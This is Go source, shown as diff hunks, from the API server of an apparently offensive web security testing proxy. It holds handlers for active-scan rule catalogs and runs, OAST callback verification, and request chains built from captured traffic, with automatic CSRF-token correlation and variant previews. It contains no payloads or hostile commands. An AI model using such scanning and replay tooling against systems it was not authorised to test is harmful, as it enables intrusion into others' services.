// collectDisabledItems gathers every catalog rule's disabled item ids, keyed by rule
|
||||
// id, for the project file. Returns nil when nothing is disabled (exceptions-only).
|
||||
func (s *APIServer) collectDisabledItems() map[string][]string {
|
||||
if s.activeScanRules == nil {
|
||||
return nil
|
||||
}
|
||||
out := map[string][]string{}
|
||||
for _, rule := range s.activeScanRules.All() {
|
||||
if c, ok := rule.(activescan.Cataloger); ok {
|
||||
if d := c.DisabledItems(); len(d) > 0 {
|
||||
out[rule.ID()] = d
|
||||
}
|
||||
}
|
||||
}
|
||||
if len(out) == 0 {
|
||||
return nil
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// applyDisabledItems distributes a rule-keyed disabled-items map back onto the catalog
|
||||
// rules on a project restore; a missing key clears that rule's set (everything enabled).
|
||||
func (s *APIServer) applyDisabledItems(m map[string][]string) {
|
||||
if s.activeScanRules == nil {
|
||||
return
|
||||
}
|
||||
for _, rule := range s.activeScanRules.All() {
|
||||
if c, ok := rule.(activescan.Cataloger); ok {
|
||||
c.SetDisabledItems(m[rule.ID()])
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// disabledItemsSignature fingerprints every catalog rule's disabled set for the
|
||||
// autosave dirty-check (registration order is stable, so the string is deterministic).
|
||||
func (s *APIServer) disabledItemsSignature() string {
|
||||
if s.activeScanRules == nil {
|
||||
return ""
|
||||
}
|
||||
var b strings.Builder
|
||||
for _, rule := range s.activeScanRules.All() {
|
||||
if c, ok := rule.(activescan.Cataloger); ok {
|
||||
b.WriteString("/ci:" + rule.ID() + ":" + strings.Join(c.DisabledItems(), ","))
|
||||
}
|
||||
}
|
||||
return b.String()
|
||||
}
|
||||
|
||||
// catalogRule returns the rule with the given id as a Cataloger, or nil if the rule
|
||||
// does not exist or has no catalog. It replaces the old templatesig-specific resolver,
|
||||
// so any catalog rule (template signatures, the injection rules) works generically.
|
||||
func (s *APIServer) catalogRule(id string) activescan.Cataloger {
|
||||
if s.activeScanRules == nil {
|
||||
return nil
|
||||
}
|
||||
c, _ := s.activeScanRules.Get(id).(activescan.Cataloger)
|
||||
return c
|
||||
}
|
||||
|
||||
// handleActiveScanSignatures returns a rule's read-only catalog — one item per
|
||||
// signature or check, with its enabled-state and per-severity counts.
|
||||
func (s *APIServer) handleActiveScanSignatures(w http.ResponseWriter, r *http.Request) {
|
||||
if !s.activeScanAvailable(w) {
|
||||
return
|
||||
}
|
||||
rule := s.catalogRule(r.PathValue("id"))
|
||||
if rule == nil {
|
||||
writeError(w, http.StatusNotFound, "no catalog for this rule")
|
||||
return
|
||||
}
|
||||
items := rule.CatalogItems()
|
||||
bySeverity := map[string]int{}
|
||||
for i := range items {
|
||||
bySeverity[items[i].Severity]++
|
||||
}
|
||||
writeJSON(w, http.StatusOK, map[string]any{
|
||||
"signatures": items, "total": len(items), "bySeverity": bySeverity,
|
||||
})
|
||||
}
|
||||
|
||||
// handleSetActiveScanSignaturesBulk enables or disables every item of a rule's
|
||||
// catalog in one call — the "Enable all / Disable all" control.
|
||||
func (s *APIServer) handleSetActiveScanSignaturesBulk(w http.ResponseWriter, r *http.Request) {
|
||||
if !s.activeScanAvailable(w) {
|
||||
return
|
||||
}
|
||||
rule := s.catalogRule(r.PathValue("id"))
|
||||
if rule == nil {
|
||||
writeError(w, http.StatusNotFound, "no catalog for this rule")
|
||||
return
|
||||
}
|
||||
var body struct {
|
||||
Enabled bool `json:"enabled"`
|
||||
}
|
||||
if err := decodeJSON(r, &body); err != nil {
|
||||
writeError(w, http.StatusBadRequest, "invalid JSON")
|
||||
return
|
||||
}
|
||||
if body.Enabled {
|
||||
rule.SetDisabledItems(nil)
|
||||
} else {
|
||||
items := rule.CatalogItems()
|
||||
ids := make([]string, 0, len(items))
|
||||
for i := range items {
|
||||
ids = append(ids, items[i].ID)
|
||||
}
|
||||
rule.SetDisabledItems(ids)
|
||||
}
|
||||
writeJSON(w, http.StatusOK, map[string]any{"enabled": body.Enabled})
|
||||
}
|
||||
|
||||
// handleSetActiveScanSignatureEnabled toggles one catalog item of a rule. Rule-scoped
|
||||
// because check ids (e.g. "time-based") can repeat across rules. Persists with the
|
||||
// project (projectSignature carries the disabled set), like the rule toggle.
|
||||
func (s *APIServer) handleSetActiveScanSignatureEnabled(w http.ResponseWriter, r *http.Request) {
|
||||
if !s.activeScanAvailable(w) {
|
||||
return
|
||||
}
|
||||
rule := s.catalogRule(r.PathValue("id"))
|
||||
if rule == nil {
|
||||
writeError(w, http.StatusNotFound, "no catalog for this rule")
|
||||
return
|
||||
}
|
||||
var body struct {
|
||||
Enabled bool `json:"enabled"`
|
||||
}
|
||||
if err := decodeJSON(r, &body); err != nil {
|
||||
writeError(w, http.StatusBadRequest, "invalid JSON")
|
||||
return
|
||||
}
|
||||
rule.SetItemEnabled(r.PathValue("itemId"), body.Enabled)
|
||||
writeJSON(w, http.StatusOK, map[string]any{"enabled": body.Enabled})
|
||||
}
|
||||
|
||||
func (s *APIServer) handleActiveScanListRuns(w http.ResponseWriter, r *http.Request) {
|
||||
if !s.activeScanAvailable(w) {
|
||||
return
|
||||
}
|
||||
runs := s.activeScans.List()
|
||||
out := make([]map[string]any, 0, len(runs))
|
||||
for _, run := range runs {
|
||||
out = append(out, activeScanHead(run))
|
||||
}
|
||||
writeJSON(w, http.StatusOK, map[string]any{"runs": out})
|
||||
}
|
||||
|
||||
func activeScanHead(run *activescan.Run) map[string]any {
|
||||
completed, errs, findings := run.Counts()
|
||||
return map[string]any{
|
||||
"id": run.ID, "host": run.Host, "origin": run.Origin, "scope": run.Scope,
|
||||
"rules": run.Rules, "status": string(run.Status()), "total": run.Total,
|
||||
"completed": completed, "errors": errs, "findings": findings,
|
||||
"createdAt": run.CreatedAt,
|
||||
}
|
||||
}
|
||||
|
||||
func (s *APIServer) handleActiveScanGetRun(w http.ResponseWriter, r *http.Request) {
|
||||
if !s.activeScanAvailable(w) {
|
||||
return
|
||||
}
|
||||
run := s.activeScans.Get(r.PathValue("id"))
|
||||
if run == nil {
|
||||
writeError(w, http.StatusNotFound, "no such run")
|
||||
return
|
||||
}
|
||||
body := activeScanHead(run)
|
||||
body["errorMessages"] = run.Errors()
|
||||
writeJSON(w, http.StatusOK, body)
|
||||
}
|
||||
|
||||
func (s *APIServer) handleActiveScanStopRun(w http.ResponseWriter, r *http.Request) {
|
||||
if !s.activeScanAvailable(w) {
|
||||
return
|
||||
}
|
||||
run := s.activeScans.Get(r.PathValue("id"))
|
||||
if run == nil {
|
||||
writeError(w, http.StatusNotFound, "no such run")
|
||||
return
|
||||
}
|
||||
if !run.Stop() {
|
||||
writeError(w, http.StatusConflict, "run is not running")
|
||||
return
|
||||
}
|
||||
writeJSON(w, http.StatusOK, map[string]any{"stopped": true})
|
||||
}
|
||||
|
||||
func (s *APIServer) handleActiveScanDeleteRun(w http.ResponseWriter, r *http.Request) {
|
||||
if !s.activeScanAvailable(w) {
|
||||
return
|
||||
}
|
||||
run := s.activeScans.Get(r.PathValue("id"))
|
||||
if run == nil {
|
||||
writeError(w, http.StatusNotFound, "no such run")
|
||||
return
|
||||
}
|
||||
if run.Status() == activescan.StatusRunning {
|
||||
writeError(w, http.StatusConflict, "stop the run before deleting it")
|
||||
return
|
||||
}
|
||||
s.activeScans.Delete(run.ID)
|
||||
writeJSON(w, http.StatusOK, map[string]any{"deleted": true})
|
||||
}
|
||||
@@ -101,6 +101,35 @@ func (s *APIServer) handleCreateToken(w http.ResponseWriter, r *http.Request) {
|
||||
writeJSON(w, http.StatusCreated, token)
|
||||
}
|
||||
|
||||
// handleVerifyCallback confirms that a value observed out of band (reflected in a
|
||||
// target response, read from a protocol field) is the response hash this server
|
||||
// derives for a token — so OAST tooling can validate a hit without reimplementing
|
||||
// the derivation. The derivation is public (sha256 of the token), so this leaks
|
||||
// nothing; it exists to spare clients the reimplementation and to return the
|
||||
// owning token's ID when the value matches a live token.
|
||||
func (s *APIServer) handleVerifyCallback(w http.ResponseWriter, r *http.Request) {
|
||||
if !s.listenerMode {
|
||||
s.proxyToListener(w, r)
|
||||
return
|
||||
}
|
||||
var body struct {
|
||||
Token string `json:"token"`
|
||||
Value string `json:"value"`
|
||||
}
|
||||
if err := decodeJSON(r, &body); err != nil {
|
||||
writeError(w, http.StatusBadRequest, "invalid JSON")
|
||||
return
|
||||
}
|
||||
valid := body.Token != "" && callback.ResponseHash(body.Token) == strings.TrimSpace(body.Value)
|
||||
resp := map[string]any{"valid": valid}
|
||||
if valid {
|
||||
if tok, err := s.cbStore.FindTokenByHex(body.Token); err == nil {
|
||||
resp["tokenId"] = tok.ID
|
||||
}
|
||||
}
|
||||
writeJSON(w, http.StatusOK, resp)
|
||||
}
|
||||
|
||||
func (s *APIServer) handleDeleteToken(w http.ResponseWriter, r *http.Request) {
|
||||
if !s.listenerMode {
|
||||
s.proxyToListener(w, r)
|
||||
|
||||
@@ -0,0 +1,636 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/base64"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"sort"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"github.com/BishopFox/joro/internal/chain"
|
||||
"github.com/BishopFox/joro/internal/httptools"
|
||||
"github.com/BishopFox/joro/internal/proxy"
|
||||
)
|
||||
|
||||
// maxRecordCandidates bounds what a record window hands back for trimming. A
|
||||
// recording left running over a browsing session would otherwise return the whole
|
||||
// capture ring.
|
||||
const maxRecordCandidates = 500
|
||||
|
||||
func (s *APIServer) handleChainListChains(w http.ResponseWriter, r *http.Request) {
|
||||
chains := s.chainStore.List()
|
||||
out := make([]map[string]any, 0, len(chains))
|
||||
for _, c := range chains {
|
||||
out = append(out, chainSummaryBody(c))
|
||||
}
|
||||
writeJSON(w, http.StatusOK, map[string]any{"chains": out})
|
||||
}
|
||||
|
||||
// chainSummaryBody is the list projection: enough to render the picker without
|
||||
// shipping every step's raw bytes, which are megabytes across a project.
|
||||
func chainSummaryBody(c *chain.Chain) map[string]any {
|
||||
hosts := map[string]bool{}
|
||||
for _, st := range c.Steps {
|
||||
hosts[st.Host] = true
|
||||
}
|
||||
list := make([]string, 0, len(hosts))
|
||||
for h := range hosts {
|
||||
list = append(list, h)
|
||||
}
|
||||
sort.Strings(list)
|
||||
return map[string]any{
|
||||
"id": c.ID, "name": c.Name,
|
||||
"steps": len(c.Steps), "bindings": len(c.Bindings),
|
||||
"hosts": list, "createdAt": c.CreatedAt, "updatedAt": c.UpdatedAt,
|
||||
}
|
||||
}
|
||||
|
||||
func (s *APIServer) handleChainGetChain(w http.ResponseWriter, r *http.Request) {
|
||||
c := s.chainStore.Get(r.PathValue("id"))
|
||||
if c == nil {
|
||||
writeError(w, http.StatusNotFound, "no such chain")
|
||||
return
|
||||
}
|
||||
writeJSON(w, http.StatusOK, chainBody(c))
|
||||
}
|
||||
|
||||
// chainBody renders a chain with its raws base64-encoded. Raw bytes are not
|
||||
// JSON-safe and a captured request routinely is not UTF-8.
|
||||
func chainBody(c *chain.Chain) map[string]any {
|
||||
steps := make([]map[string]any, 0, len(c.Steps))
|
||||
for _, st := range c.Steps {
|
||||
steps = append(steps, map[string]any{
|
||||
"id": st.ID, "label": st.Label, "scheme": st.Scheme, "host": st.Host,
|
||||
"reqRaw": base64.StdEncoding.EncodeToString(st.ReqRaw),
|
||||
"respRaw": base64.StdEncoding.EncodeToString(st.RespRaw),
|
||||
"originSeq": st.OriginSeq, "setup": st.Setup, "edits": st.Edits,
|
||||
"method": chain.MethodOf(st.ReqRaw),
|
||||
})
|
||||
}
|
||||
return map[string]any{
|
||||
"id": c.ID, "name": c.Name, "goalStepId": c.GoalStepID,
|
||||
"steps": steps, "bindings": c.Bindings,
|
||||
"createdAt": c.CreatedAt, "updatedAt": c.UpdatedAt,
|
||||
}
|
||||
}
|
||||
|
||||
// chainInput is the write shape. Raws arrive base64 for the same reason they
|
||||
// leave that way.
|
||||
type chainInput struct {
|
||||
Name string `json:"name"`
|
||||
GoalStepID string `json:"goalStepId"`
|
||||
Steps []struct {
|
||||
ID string `json:"id"`
|
||||
Label string `json:"label"`
|
||||
Scheme string `json:"scheme"`
|
||||
Host string `json:"host"`
|
||||
ReqRaw string `json:"reqRaw"`
|
||||
RespRaw string `json:"respRaw"`
|
||||
OriginSeq int `json:"originSeq"`
|
||||
Setup bool `json:"setup"`
|
||||
Edits []httptools.Edit `json:"edits"`
|
||||
} `json:"steps"`
|
||||
Bindings []chain.Binding `json:"bindings"`
|
||||
}
|
||||
|
||||
func (in chainInput) toChain() (*chain.Chain, error) {
|
||||
c := &chain.Chain{Name: in.Name, GoalStepID: in.GoalStepID, Bindings: in.Bindings}
|
||||
for i, st := range in.Steps {
|
||||
req, err := base64.StdEncoding.DecodeString(st.ReqRaw)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("step %d: request is not valid base64", i+1)
|
||||
}
|
||||
resp, err := base64.StdEncoding.DecodeString(st.RespRaw)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("step %d: response is not valid base64", i+1)
|
||||
}
|
||||
step := chain.Step{
|
||||
ID: st.ID, Label: st.Label, Scheme: st.Scheme, Host: st.Host,
|
||||
ReqRaw: req, RespRaw: resp, OriginSeq: st.OriginSeq, Setup: st.Setup,
|
||||
Edits: st.Edits,
|
||||
}
|
||||
if step.Label == "" {
|
||||
step.Label = chain.Label(req)
|
||||
}
|
||||
c.Steps = append(c.Steps, step)
|
||||
}
|
||||
return c, nil
|
||||
}
|
||||
|
||||
func (s *APIServer) handleChainCreateChain(w http.ResponseWriter, r *http.Request) {
|
||||
var in chainInput
|
||||
if err := decodeJSONLimit(r, &in, maxBulkJSONBody); err != nil {
|
||||
writeError(w, http.StatusBadRequest, "invalid JSON")
|
||||
return
|
||||
}
|
||||
c, err := in.toChain()
|
||||
if err != nil {
|
||||
writeError(w, http.StatusBadRequest, err.Error())
|
||||
return
|
||||
}
|
||||
chain.Reindex(c)
|
||||
saved, err := s.chainStore.Create(c)
|
||||
if err != nil {
|
||||
writeError(w, http.StatusBadRequest, err.Error())
|
||||
return
|
||||
}
|
||||
writeJSON(w, http.StatusCreated, chainBody(saved))
|
||||
}
|
||||
|
||||
func (s *APIServer) handleChainUpdateChain(w http.ResponseWriter, r *http.Request) {
|
||||
id := r.PathValue("id")
|
||||
if s.chainStore.Get(id) == nil {
|
||||
writeError(w, http.StatusNotFound, "no such chain")
|
||||
return
|
||||
}
|
||||
var in chainInput
|
||||
if err := decodeJSONLimit(r, &in, maxBulkJSONBody); err != nil {
|
||||
writeError(w, http.StatusBadRequest, "invalid JSON")
|
||||
return
|
||||
}
|
||||
c, err := in.toChain()
|
||||
if err != nil {
|
||||
writeError(w, http.StatusBadRequest, err.Error())
|
||||
return
|
||||
}
|
||||
saved, err := s.chainStore.Update(id, c)
|
||||
if err != nil {
|
||||
writeError(w, http.StatusBadRequest, err.Error())
|
||||
return
|
||||
}
|
||||
writeJSON(w, http.StatusOK, chainBody(saved))
|
||||
}
|
||||
|
||||
func (s *APIServer) handleChainDeleteChain(w http.ResponseWriter, r *http.Request) {
|
||||
// A run holds a snapshot of the chain, so deleting one does not disturb a run
|
||||
// in flight and there is nothing to refuse here.
|
||||
if !s.chainStore.Delete(r.PathValue("id")) {
|
||||
writeError(w, http.StatusNotFound, "no such chain")
|
||||
return
|
||||
}
|
||||
writeJSON(w, http.StatusOK, map[string]any{"deleted": true})
|
||||
}
|
||||
|
||||
// chainFromHistoryRequest builds a chain out of selected History rows, or
|
||||
// appends them to one that already exists.
|
||||
type chainFromHistoryRequest struct {
|
||||
Name string `json:"name"`
|
||||
Seqs []int `json:"seqs"`
|
||||
|
||||
// ChainID appends to an existing chain instead of creating one. History has
|
||||
// one selected row at a time, so a chain is built a step at a time; appending
|
||||
// server-side is what lets correlation re-run over the extended chain and
|
||||
// wire the new step to values the earlier ones already produce.
|
||||
ChainID string `json:"chainId,omitempty"`
|
||||
}
|
||||
|
||||
// handleChainFromHistory is the primary way a chain comes into existence.
|
||||
//
|
||||
// Rows are addressed by Seq rather than by id: it is the handle the capture store
|
||||
// is indexed on, and the only one a client can hold across a page reload without
|
||||
// carrying raw bytes through history.pushState.
|
||||
func (s *APIServer) handleChainFromHistory(w http.ResponseWriter, r *http.Request) {
|
||||
var req chainFromHistoryRequest
|
||||
if err := decodeJSON(r, &req); err != nil {
|
||||
writeError(w, http.StatusBadRequest, "invalid JSON")
|
||||
return
|
||||
}
|
||||
if len(req.Seqs) == 0 {
|
||||
writeError(w, http.StatusBadRequest, "select at least one request")
|
||||
return
|
||||
}
|
||||
if len(req.Seqs) > chain.MaxSteps {
|
||||
writeError(w, http.StatusBadRequest,
|
||||
fmt.Sprintf("%d requests exceeds the limit of %d steps", len(req.Seqs), chain.MaxSteps))
|
||||
return
|
||||
}
|
||||
|
||||
// Ascending, because a chain is an ordering and the order the rows were
|
||||
// clicked in is not it.
|
||||
seqs := append([]int(nil), req.Seqs...)
|
||||
sort.Ints(seqs)
|
||||
|
||||
// A non-positive seq is a malformed request, not an evicted one, and the two
|
||||
// need different words. Reporting a client that sent 0 or null as "no longer
|
||||
// in the capture buffer" sends whoever is debugging it to look at eviction,
|
||||
// which is exactly the wrong place — and is how a client sending undefined
|
||||
// went unnoticed.
|
||||
for _, seq := range seqs {
|
||||
if seq <= 0 {
|
||||
writeError(w, http.StatusBadRequest,
|
||||
"no valid request sequence numbers were supplied")
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
steps := make([]chain.Step, 0, len(seqs))
|
||||
var missing []int
|
||||
for _, seq := range seqs {
|
||||
item := s.store.GetBySeq(seq)
|
||||
if item == nil {
|
||||
missing = append(missing, seq)
|
||||
continue
|
||||
}
|
||||
steps = append(steps, chainStepFromCapture(item))
|
||||
}
|
||||
if len(steps) == 0 {
|
||||
writeError(w, http.StatusBadRequest, "none of those requests are still in the capture buffer")
|
||||
return
|
||||
}
|
||||
|
||||
var saved *chain.Chain
|
||||
var err error
|
||||
|
||||
if req.ChainID != "" {
|
||||
existing := s.chainStore.Get(req.ChainID)
|
||||
if existing == nil {
|
||||
writeError(w, http.StatusNotFound, "no such chain")
|
||||
return
|
||||
}
|
||||
existing.Steps = append(existing.Steps, steps...)
|
||||
if len(existing.Steps) > chain.MaxSteps {
|
||||
writeError(w, http.StatusBadRequest,
|
||||
fmt.Sprintf("that would make %d steps, over the limit of %d", len(existing.Steps), chain.MaxSteps))
|
||||
return
|
||||
}
|
||||
// Reindex before correlating: correlation records byte spans against step
|
||||
// ids, so it has to run after the ids are final.
|
||||
chain.Reindex(existing)
|
||||
for i := range existing.Steps {
|
||||
if existing.Steps[i].Label == "" {
|
||||
existing.Steps[i].Label = chain.Label(existing.Steps[i].ReqRaw)
|
||||
}
|
||||
}
|
||||
existing.Bindings = mergeBindings(existing.Bindings, chain.Correlate(existing))
|
||||
saved, err = s.chainStore.Update(existing.ID, existing)
|
||||
} else {
|
||||
name := strings.TrimSpace(req.Name)
|
||||
if name == "" {
|
||||
name = "chain"
|
||||
}
|
||||
c := chain.New(name, steps)
|
||||
|
||||
// Correlate on the way in. A chain that arrives already wired is the
|
||||
// difference between a usable artifact and a list of requests the
|
||||
// operator has to hand-thread a CSRF token through.
|
||||
c.Bindings = chain.Correlate(c)
|
||||
saved, err = s.chainStore.Create(c)
|
||||
}
|
||||
if err != nil {
|
||||
writeError(w, http.StatusBadRequest, err.Error())
|
||||
return
|
||||
}
|
||||
resp := chainBody(saved)
|
||||
if len(missing) > 0 {
|
||||
resp["warning"] = fmt.Sprintf("%d selected requests were no longer in the capture buffer", len(missing))
|
||||
}
|
||||
writeJSON(w, http.StatusCreated, resp)
|
||||
}
|
||||
|
||||
func chainStepFromCapture(item *proxy.CapturedRequest) chain.Step {
|
||||
scheme := "https"
|
||||
if strings.HasPrefix(strings.ToLower(item.URL), "http://") {
|
||||
scheme = "http"
|
||||
}
|
||||
return chain.Step{
|
||||
Scheme: scheme,
|
||||
Host: item.Host,
|
||||
ReqRaw: append([]byte(nil), item.ReqRaw...),
|
||||
RespRaw: append([]byte(nil), item.RespRaw...),
|
||||
OriginSeq: item.Seq,
|
||||
}
|
||||
}
|
||||
|
||||
// handleChainRecordStart returns the capture watermark to record from.
|
||||
//
|
||||
// Recording reads the store forward from a cursor rather than hooking the proxy,
|
||||
// which is the arrangement internal/detect's scanner already documents: no second
|
||||
// path through the capture hot loop, and nothing to unwind if the operator
|
||||
// navigates away without stopping.
|
||||
func (s *APIServer) handleChainRecordStart(w http.ResponseWriter, r *http.Request) {
|
||||
writeJSON(w, http.StatusOK, map[string]any{"cursor": s.store.LastSeq()})
|
||||
}
|
||||
|
||||
type chainRecordStopRequest struct {
|
||||
Cursor int `json:"cursor"`
|
||||
Host string `json:"host,omitempty"`
|
||||
ScopeOnly bool `json:"scopeOnly,omitempty"`
|
||||
}
|
||||
|
||||
// handleChainRecordStop returns the candidate rows captured since the cursor, for
|
||||
// the operator to trim into steps. It creates nothing: a recording is a selection
|
||||
// aid, and a chain built from unreviewed traffic is mostly analytics beacons.
|
||||
func (s *APIServer) handleChainRecordStop(w http.ResponseWriter, r *http.Request) {
|
||||
var req chainRecordStopRequest
|
||||
if err := decodeJSON(r, &req); err != nil {
|
||||
writeError(w, http.StatusBadRequest, "invalid JSON")
|
||||
return
|
||||
}
|
||||
items := s.store.SinceSeq(req.Cursor, maxRecordCandidates)
|
||||
host := strings.ToLower(strings.TrimSpace(req.Host))
|
||||
|
||||
out := make([]map[string]any, 0, len(items))
|
||||
for _, it := range items {
|
||||
if host != "" && !strings.Contains(strings.ToLower(it.Host), host) {
|
||||
continue
|
||||
}
|
||||
if req.ScopeOnly && !s.scope.HostInScope(it.Host) {
|
||||
continue
|
||||
}
|
||||
out = append(out, map[string]any{
|
||||
"seq": it.Seq, "method": it.Method, "url": it.URL, "host": it.Host,
|
||||
"status": it.StatusCode, "contentType": it.ContentType,
|
||||
"size": it.ResponseSize, "timestamp": it.Timestamp,
|
||||
"label": chain.Label(it.ReqRaw),
|
||||
})
|
||||
}
|
||||
// Ascending: SinceSeq walks backwards from newest, and a recording reads
|
||||
// forwards.
|
||||
sort.Slice(out, func(i, j int) bool { return out[i]["seq"].(int) < out[j]["seq"].(int) })
|
||||
writeJSON(w, http.StatusOK, map[string]any{"candidates": out, "cursor": s.store.LastSeq()})
|
||||
}
|
||||
|
||||
// handleChainCorrelate proposes bindings and persists nothing.
|
||||
//
|
||||
// A proposal, like a render is a preview: correlation is a heuristic over
|
||||
// entropy and literal occurrence, and writing its guesses straight into the chain
|
||||
// would put the operator in the position of un-picking them.
|
||||
func (s *APIServer) handleChainCorrelate(w http.ResponseWriter, r *http.Request) {
|
||||
c := s.chainStore.Get(r.PathValue("id"))
|
||||
if c == nil {
|
||||
writeError(w, http.StatusNotFound, "no such chain")
|
||||
return
|
||||
}
|
||||
// Re-keyed before they leave: the client appends accepted proposals straight
|
||||
// into the open chain.
|
||||
proposed := assignBindingIDs(c.Bindings, chain.Correlate(c))
|
||||
|
||||
// Report which proposals are new, so the UI can offer them without
|
||||
// discarding bindings the operator has already accepted or hand-written.
|
||||
existing := map[string]bool{}
|
||||
for _, b := range c.Bindings {
|
||||
existing[bindingKey(b)] = true
|
||||
}
|
||||
out := make([]map[string]any, 0, len(proposed))
|
||||
for _, b := range proposed {
|
||||
out = append(out, map[string]any{"binding": b, "isNew": !existing[bindingKey(b)]})
|
||||
}
|
||||
writeJSON(w, http.StatusOK, map[string]any{"proposed": out})
|
||||
}
|
||||
|
||||
// mergeBindings keeps every existing binding and adds only proposals that are
|
||||
// not already present.
|
||||
//
|
||||
// Additive rather than replacing, because a re-correlation must not discard a
|
||||
// binding the operator hand-wrote, renamed, or set to send its recorded value.
|
||||
func mergeBindings(existing, proposed []chain.Binding) []chain.Binding {
|
||||
have := make(map[string]bool, len(existing))
|
||||
for _, b := range existing {
|
||||
have[bindingKey(b)] = true
|
||||
}
|
||||
fresh := make([]chain.Binding, 0, len(proposed))
|
||||
for _, b := range proposed {
|
||||
if have[bindingKey(b)] {
|
||||
continue
|
||||
}
|
||||
fresh = append(fresh, b)
|
||||
have[bindingKey(b)] = true
|
||||
}
|
||||
return append(append([]chain.Binding(nil), existing...), assignBindingIDs(existing, fresh)...)
|
||||
}
|
||||
|
||||
// assignBindingIDs re-keys proposals against the ids a chain already holds.
|
||||
//
|
||||
// Correlate numbers from one every run, and a count of the existing bindings is
|
||||
// not the next free id once one has been deleted — so the collision surfaces as
|
||||
// a refused save, several clicks from the accept that caused it.
|
||||
func assignBindingIDs(existing, proposed []chain.Binding) []chain.Binding {
|
||||
taken := make(map[string]bool, len(existing))
|
||||
for _, b := range existing {
|
||||
taken[b.ID] = true
|
||||
}
|
||||
next := 1
|
||||
out := make([]chain.Binding, 0, len(proposed))
|
||||
for _, b := range proposed {
|
||||
for {
|
||||
id := "b" + strconv.Itoa(next)
|
||||
next++
|
||||
if !taken[id] {
|
||||
b.ID = id
|
||||
taken[id] = true
|
||||
break
|
||||
}
|
||||
}
|
||||
out = append(out, b)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// bindingKey identifies a binding by what it does rather than by its id, so a
|
||||
// re-run of correlation recognizes a proposal the operator already accepted.
|
||||
func bindingKey(b chain.Binding) string {
|
||||
var sb strings.Builder
|
||||
sb.WriteString(b.FromStep)
|
||||
sb.WriteString(">")
|
||||
sb.WriteString(b.ToStep)
|
||||
sb.WriteString(">")
|
||||
sb.WriteString(b.Source.Kind)
|
||||
sb.WriteString(":")
|
||||
sb.WriteString(b.Source.Name)
|
||||
sb.WriteString(b.Source.Path)
|
||||
for _, sp := range b.Spans {
|
||||
fmt.Fprintf(&sb, "@%d-%d", sp.Start, sp.End)
|
||||
}
|
||||
return sb.String()
|
||||
}
|
||||
|
||||
// chainPreviewRequest renders a variant without sending it.
|
||||
type chainPreviewRequest struct {
|
||||
VariantID string `json:"variantId"`
|
||||
Kinds []string `json:"kinds,omitempty"`
|
||||
}
|
||||
|
||||
// handleChainPreview renders every step of one variant and never sends.
|
||||
//
|
||||
// The cheap way to confirm substitution is right before arming a sweep that
|
||||
// creates real orders. Values a previous step would have produced are unknown
|
||||
// here, so a step that consumes one renders as unresolved — which is exactly what
|
||||
// the run would do, and is the point: the preview shows where an ordering breaks
|
||||
// before it costs anything.
|
||||
func (s *APIServer) handleChainPreview(w http.ResponseWriter, r *http.Request) {
|
||||
c := s.chainStore.Get(r.PathValue("id"))
|
||||
if c == nil {
|
||||
writeError(w, http.StatusNotFound, "no such chain")
|
||||
return
|
||||
}
|
||||
var req chainPreviewRequest
|
||||
if err := decodeJSON(r, &req); err != nil {
|
||||
writeError(w, http.StatusBadRequest, "invalid JSON")
|
||||
return
|
||||
}
|
||||
|
||||
variants := chain.GenerateVariants(c, req.Kinds)
|
||||
var chosen *chain.Variant
|
||||
for i := range variants {
|
||||
if variants[i].ID == req.VariantID || req.VariantID == "" {
|
||||
chosen = &variants[i]
|
||||
break
|
||||
}
|
||||
}
|
||||
if chosen == nil {
|
||||
writeError(w, http.StatusNotFound, "no such variant")
|
||||
return
|
||||
}
|
||||
|
||||
// Seed the table with each binding's recorded value so the preview shows the
|
||||
// substitution actually happening. A run resolves these from live responses;
|
||||
// here there are none, and rendering every step unresolved would show the
|
||||
// operator nothing about whether the spans are right.
|
||||
vars := chain.Vars{}
|
||||
for _, b := range c.Bindings {
|
||||
vars[b.Var] = b.Recorded
|
||||
}
|
||||
|
||||
steps := make([]map[string]any, 0, len(chosen.Steps))
|
||||
for _, id := range chosen.Steps {
|
||||
st, _, ok := c.StepByID(id)
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
raw, missing, err := chain.Render(c, st, vars)
|
||||
entry := map[string]any{"stepId": id, "label": st.Label}
|
||||
switch {
|
||||
case err != nil:
|
||||
entry["error"] = err.Error()
|
||||
case len(missing) > 0:
|
||||
entry["missing"] = missing
|
||||
default:
|
||||
entry["raw"] = base64.StdEncoding.EncodeToString(raw)
|
||||
}
|
||||
steps = append(steps, entry)
|
||||
}
|
||||
writeJSON(w, http.StatusOK, map[string]any{"variant": chosen, "steps": steps})
|
||||
}
|
||||
|
||||
// chainBindPreviewRequest is one operator-chosen value offered for binding.
|
||||
//
|
||||
// The value, not an offset: the pane shows the decoded response, whose offsets
|
||||
// mean nothing against the recorded bytes. Base64 because a run of bytes out of
|
||||
// a response is not reliably UTF-8.
|
||||
type chainBindPreviewRequest struct {
|
||||
FromStep string `json:"fromStep"`
|
||||
Value string `json:"value"`
|
||||
Occurrence int `json:"occurrence,omitempty"`
|
||||
Source *chain.Source `json:"source,omitempty"`
|
||||
ToSteps []string `json:"toSteps,omitempty"`
|
||||
Spans map[string][]chain.Span `json:"spans,omitempty"`
|
||||
}
|
||||
|
||||
// handleChainBindPreview proposes bindings for one value and persists nothing.
|
||||
//
|
||||
// A proposal, like correlation: nothing here is confirmed against a live
|
||||
// response. It reuses correlation's envelope so the client has one accept path.
|
||||
func (s *APIServer) handleChainBindPreview(w http.ResponseWriter, r *http.Request) {
|
||||
c := s.chainStore.Get(r.PathValue("id"))
|
||||
if c == nil {
|
||||
writeError(w, http.StatusNotFound, "no such chain")
|
||||
return
|
||||
}
|
||||
var req chainBindPreviewRequest
|
||||
if err := decodeJSON(r, &req); err != nil {
|
||||
writeError(w, http.StatusBadRequest, err.Error())
|
||||
return
|
||||
}
|
||||
value, err := base64.StdEncoding.DecodeString(req.Value)
|
||||
if err != nil {
|
||||
writeError(w, http.StatusBadRequest, "value is not base64")
|
||||
return
|
||||
}
|
||||
|
||||
p, err := chain.ProposeBinding(c, req.FromStep, string(value), chain.BindOptions{
|
||||
Occurrence: req.Occurrence,
|
||||
Source: req.Source,
|
